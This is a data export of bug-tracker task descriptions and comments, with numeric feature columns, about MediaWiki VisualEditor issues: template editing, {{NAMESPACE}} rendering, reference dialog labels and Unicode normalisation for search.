249521,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)",*** Bug 50595 has been marked as a duplicate of this bug. ***,,,1372789775,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50595 has been marked as a duplicate of this bug. ***
249509,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)","Something like <div class=""mw-columns-2""> .. </div> with the proper class definition in common.css would work better for editing in VE, as the wrapper won't be template-generated then.

Generally visual editing works best if a template produces a self-contained part of a page ('properly nested') rather than cut-up start / content / end templates.",,,1372780602,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,3,True,,,0,,0.0,1.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,5.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,13.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,4.0,1.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,0.0,13.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,1.0,8.0,3.96,0.8133333333333334,"Something like <div class=""mw-columns-2""> .. </div> with the proper class definition in common.css would work better for editing in VE, as the wrapper won't be template-generated then.

Generally visual editing works best if a template produces a self-contained part of a page ('properly nested') rather than cut-up start / content / end templates."
249500,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)","This bug affects all attempts to edit items in lists which are set out in columns using {{tl|div col}} or {{tl|colbegin}}, so is going to disconcert a lot of editors. I hope it's near the top of the ""to-do list"":  see [[Wikipedia:VisualEditor/Feedback#Editing_within_a_multi-column_list_.28ie_between_.7B.7Bcolbegin.7D.7D_and_.7B.7Bcolend.7D.7D.29]]",,,1372779956,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,3,False,,,0,,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,9.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,4.0,3.0,7.0,0.0,1.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,13.0,6.0,0.0,3.0,0.0,3.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,4.0,4.463768115942029,0.7681159420289855,"This bug affects all attempts to edit items in lists which are set out in columns using {{tl|div col}} or {{tl|colbegin}}, so is going to disconcert a lot of editors. I hope it's near the top of the ""to-do list"":  see [[Wikipedia:VisualEditor/Feedback#Editing_within_a_multi-column_list_.28ie_between_.7B.7Bcolbegin.7D.7D_and_.7B.7Bcolend.7D.7D.29]]"
249491,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)",*** Bug 50355 has been marked as a duplicate of this bug. ***,,,1372427548,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50355 has been marked as a duplicate of this bug. ***
249486,"VisualEditor: Add support for making some templates directly ""visually editable"" in the DOM, as if they were tables (e.g. infoboxes)","These are currently supported, just as wikitext. :-)

It depends on some changes in Parsoid (which they've put on ice during deployment), and some tweaks in VisualEditor, but this should be relatively do-able.",,,1372212497,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nctiyee24idgcp7llspj,task_subcomment,,True,c1,2,True,,,-1,,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,5.0,11.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.045454545454546,0.8636363636363636,"These are currently supported, just as wikitext. :-)

It depends on some changes in Parsoid (which they've put on ice during deployment), and some tweaks in VisualEditor, but this should be relatively do-able."
52172,VisualEditor: {{NAMESPACE}} not running in context so doesn't know what namespace you're in,"See https://en.wikipedia.org/wiki/Template:Userspace draft - when rendered in the VE it displays the mainspace appropriate text regardless of what namespace it is in.

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1372164120,1397880064.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-nu54imdjney5p47v7jx7,task_description,resolved,True,c1,2,False,False,False,-1,,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,12.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.170731707317073,0.7073170731707317,"See URL draft - when rendered in the VE it displays the mainspace appropriate text regardless of what namespace it is in.

--------------------------
**Version**: unspecified
**Severity**: minor"
249036,VisualEditor: {{NAMESPACE}} not running in context so doesn't know what namespace you're in,I think this was resolved in Gerrit change 127388,,,1397915597,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-nu54imdjney5p47v7jx7,task_subcomment,,True,c1,3,True,,,41,,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,11.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.555555555555555,1.0,I think this was resolved in Gerrit change 127388
249033,VisualEditor: {{NAMESPACE}} not running in context so doesn't know what namespace you're in,"Is this fixed?

When I look at this page which uses [[template:userspace draft]]:

https://en.wikipedia.org/wiki/User:JohnArmagh/Heads_of_Government_of_the_State_of_Victoria,_Australia?veaction=edit

The appropriate message is shown.

However part of that box should render as
""This draft was last edited 13 months ago""
but in VE is renders as
This draft was last edited 1 second's time""

which means {{REVISIONTIMESTAMP}} isnt expanding correctly as, based on the future tense, it is giving a value that is CURRENTTIME+1..?",,,1381109369,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-nu54imdjney5p47v7jx7,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,3.0,0.0,2.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,7.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,17.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,3.0,8.0,11.0,1.0,1.0,10.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,2.0,7.0,2.0,2.0,3.0,0.0,2.0,0.0,4.0,1.0,0.0,2.0,0.0,0.0,2.0,3.5555555555555554,0.696969696969697,"Is this fixed?

When I look at this page which uses [[template:userspace draft]]:

URL

The appropriate message is shown.

However part of that box should render as
""This draft was last edited 13 months ago""
but in VE is renders as
This draft was last edited 1 second's time""

which means {{REVISIONTIMESTAMP}} isnt expanding correctly as, based on the future tense, it is giving a value that is CURRENTTIME+1..?"
249028,VisualEditor: {{NAMESPACE}} not running in context so doesn't know what namespace you're in,*** Bug 50582 has been marked as a duplicate of this bug. ***,,,1372796056,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nu54imdjney5p47v7jx7,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50582 has been marked as a duplicate of this bug. ***
249024,VisualEditor: {{NAMESPACE}} not running in context so doesn't know what namespace you're in,"This was originally about the Parsoid issue, which is now fixed, but re-purposing to be about the DM re-render to PHP parser issue.",,,1372796032,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nu54imdjney5p47v7jx7,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,13.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.6333333333333333,0.7666666666666667,"This was originally about the Parsoid issue, which is now fixed, but re-purposing to be about the DM re-render to PHP parser issue."
249018,VisualEditor: {{NAMESPACE}} not running in context so doesn't know what namespace you're in,"I'm guessing this is actually about newly inserted {{NAMESPACE}} calls:

http://www.mediawiki.org/wiki/User:GWicke/TestNamespace?veaction=edit

Reassigning to VE.",,,1372728297,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-nu54imdjney5p47v7jx7,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.6956521739130435,0.8695652173913043,"I'm guessing this is actually about newly inserted {{NAMESPACE}} calls:

URL

Reassigning to VE."
249013,VisualEditor: {{NAMESPACE}} not running in context so doesn't know what namespace you're in,"We pass in the title to the PHP preprocessor, so namespace-dependent parserfunctions should work as expected. Are you talking about Parsoid rendering or the VE's preview rendering after inserting a new template?",,,1372176869,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-nu54imdjney5p47v7jx7,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,16.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,13.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,16.0,8.0,3.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,4.7368421052631575,0.9210526315789473,"We pass in the title to the PHP preprocessor, so namespace-dependent parserfunctions should work as expected. Are you talking about Parsoid rendering or the VE's preview rendering after inserting a new template?"
249005,VisualEditor: {{NAMESPACE}} not running in context so doesn't know what namespace you're in,"By the time we get the template, the evaluation of the parser functions - in this case, {{NAMESPACE}} - has already been done (by Parsoid). In general, I believe that most parser functions are just ""return true"" at this point, and will be coming in future.",,,1372172844,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nu54imdjney5p47v7jx7,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,12.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,8.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,13.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.5166666666666666,0.75,"By the time we get the template, the evaluation of the parser functions - in this case, {{NAMESPACE}} - has already been done (by Parsoid). In general, I believe that most parser functions are just ""return true"" at this point, and will be coming in future."
52171,VisualEditor: Re-label the group UI element in the reference dialog to explain what it does,"In the Reference editor we have two fields:

""Re-use by this name""
""Use this group""

These names are useless for new editors (too cryptic and unclear - what is ""re-use""? a verb? referring to what?) and also unhelpful for established users (they need to know that these are totally identical to the name="""" and group="""" attributes). It is also not clear that they are only occasionally needed.

Something simpler, like ""Reference name (optional)"" and ""Reference group (optional)"" could be better. 

Same in the Reference list editor:

""Use this group"" -> ""Display references belonging to this group (optional)""

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1372162920,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-f2jkrvqamprej6vbtifd,task_description,open,True,c1,2,False,False,,-1,,0.0,0.5,0.5,0.5,0.5,6.5,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.5,0.0,4.0,7.5,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,3.5,1.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,2.0,0.0,1.0,0.0,0.0,0.5,13.5,0.5,2.5,0.5,0.0,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,3.5,8.5,1.0,2.0,5.5,0.0,0.0,0.0,0.0,4.0,0.0,0.5,0.0,2.0,7.5,3.0,1.5,10.0,0.0,2.0,0.0,1.0,0.5,0.0,1.0,1.0,0.0,0.5,3.651836796145739,0.6439325504366156,"In the Reference editor we have two fields:

""Re-use by this name""
""Use this group""

These names are useless for new editors (too cryptic and unclear - what is ""re-use""? a verb? referring to what?) and also unhelpful for established users (they need to know that these are totally identical to the name="""" and group="""" attributes). It is also not clear that they are only occasionally needed.

Something simpler, like ""Reference name (optional)"" and ""Reference group (optional)"" could be better. 

Same in the Reference list editor:

""Use this group"" -> ""Display references belonging to this group (optional)""

--------------------------
**Version**: unspecified
**Severity**: enhancement"
248960,VisualEditor: Re-label the group UI element in the reference dialog to explain what it does,"(In reply to comment #1)
> There is also a request in that discussion about whether ""Transclusion"" could
> be renamed to something in plain English, like ""Templates"".

The problem is that they aren't just templates - there are also magic words and parser functions as well, like Wikidata invocations or other oddities that MediaWiki supports. Lumping them all in as templates makes things much harder to explain in documentation.",,,1372693967,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-f2jkrvqamprej6vbtifd,task_subcomment,,True,c1,3,True,,,0,,3.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,2.0,0.0,0.0,12.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,17.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,12.0,2.0,3.0,3.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,3.0,14.0,3.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,4.305084745762712,0.847457627118644,"(In reply to comment #1)
QUOTE
QUOTE

The problem is that they aren't just templates - there are also magic words and parser functions as well, like Wikidata invocations or other oddities that MediaWiki supports. Lumping them all in as templates makes things much harder to explain in documentation."
248955,VisualEditor: Re-label the group UI element in the reference dialog to explain what it does,"There is also a request in that discussion about whether ""Transclusion"" could be renamed to something in plain English, like ""Templates"".",,,1372498760,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-f2jkrvqamprej6vbtifd,task_subcomment,,True,c1,2,False,,,-1,,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,22.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,15.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.8518518518518519,"There is also a request in that discussion about whether ""Transclusion"" could be renamed to something in plain English, like ""Templates""."
52167,VisualEditor: Support unicode equivalence for client side text searches,"Planned features, such as searching for an existing reference by content, will require us to implement some http://en.wikipedia.org/wiki/Unicode_equivalence .

We will probably want to use NFKD (""Characters are decomposed by compatibility, and multiple combining characters are arranged in a specific order."") to catch cases such as 'ff' === 'ff', and we will probably want to strip combining characters (i.e. all accents), so that 'Amelie' === 'Amélie'.

https://github.com/walling/unorm looks like a good library for the job. We may want to fork it into UnicodeJS.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1372158120,,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-eirxrxhok3puf5mpvsgj,task_description,open,True,c1,2,True,False,,-1,,1.5,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,2.5,5.0,0.0,0.0,0.0,2.5,0.0,2.0,10.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.0,0.0,10.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,2.5,1.0,8.0,1.5,1.5,4.0,0.0,0.0,0.0,0.0,7.0,0.5,0.0,0.0,3.5,10.0,3.0,0.0,6.0,0.0,3.5,0.0,0.0,2.0,0.5,2.5,0.0,0.0,1.0,3.753846153846154,0.7230769230769232,"Planned features, such as searching for an existing reference by content, will require us to implement some URL .

We will probably want to use NFKD (""Characters are decomposed by compatibility, and multiple combining characters are arranged in a specific order."") to catch cases such as 'ff' === 'ff', and we will probably want to strip combining characters (i.e. all accents), so that 'Amelie' === 'Amélie'.

URL looks like a good library for the job. We may want to fork it into UnicodeJS.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
248733,VisualEditor: Support unicode equivalence for client side text searches,"So, if I'm understanding correctly, when the user starts a search we want to generate a normalised copy of the entire document in NFKD. (Otherwise we've got a problem keeping two copies in sync). Is this acceptable efficiency-wise?

Could we force the characters in the document model to be in NFC? Could Parsoid provide the article text in NFC? (This is partially off-topic, but we probably want to consider different normalisation issues together).",,,1373553594,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-eirxrxhok3puf5mpvsgj,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,1.0,6.0,2.0,0.0,1.0,0.0,5.0,1.0,8.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,12.0,2.0,1.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,5.0,12.0,4.0,3.0,0.0,0.0,5.0,0.0,1.0,3.0,0.0,2.0,0.0,0.0,0.0,4.075268817204301,0.6989247311827957,"So, if I'm understanding correctly, when the user starts a search we want to generate a normalised copy of the entire document in NFKD. (Otherwise we've got a problem keeping two copies in sync). Is this acceptable efficiency-wise?

Could we force the characters in the document model to be in NFC? Could Parsoid provide the article text in NFC? (This is partially off-topic, but we probably want to consider different normalisation issues together)."
248728,VisualEditor: Support unicode equivalence for client side text searches,Agreed. You're likely to do that naturally when displaying search results but it would be a consideration if you try to highlight the matching substring in the result (a non-trivial problem when normalisation is involved),,,1372424049,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-eirxrxhok3puf5mpvsgj,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,2.0,0.0,10.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,7.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,5.0,5.0,7.0,2.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,4.560975609756097,0.9024390243902439,Agreed. You're likely to do that naturally when displaying search results but it would be a consideration if you try to highlight the matching substring in the result (a non-trivial problem when normalisation is involved)
248723,VisualEditor: Support unicode equivalence for client side text searches,"It's worth noting that in most software, many common grapheme clusters are displayed more correctly when encoded as a single unicode character than when encoded with combining characters. For example, 'sgrîn' (""sgr\u00EEn"") displays correctly in my version of Firefox on Linux, but the equivalent decomposed string 'sgrîn' (""sgri\u0302n"") shows up with the dot still on the i and the accent in the wrong place (either uncentered over the i, or over the n, depending on the font).

Therefore, while we may want to search and process text using decomposed forms, we should probably use the composed forms for display.",,,1372420020,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-eirxrxhok3puf5mpvsgj,task_subcomment,,True,c1,2,False,,,-1,,0.5,0.0,0.0,0.5,0.0,5.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,3.5,0.0,5.0,12.5,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,14.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.5,0.5,3.0,2.5,3.5,7.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,2.5,12.5,1.5,0.0,4.5,0.0,2.5,0.0,1.0,0.5,0.0,2.5,0.5,0.5,0.0,4.148361495135688,0.7596006144393241,"It's worth noting that in most software, many common grapheme clusters are displayed more correctly when encoded as a single unicode character than when encoded with combining characters. For example, 'sgrîn' (""sgr\u00EEn"") displays correctly in my version of Firefox on Linux, but the equivalent decomposed string 'sgrîn' (""sgri\u0302n"") shows up with the dot still on the i and the accent in the wrong place (either uncentered over the i, or over the n, depending on the font).

Therefore, while we may want to search and process text using decomposed forms, we should probably use the composed forms for display."
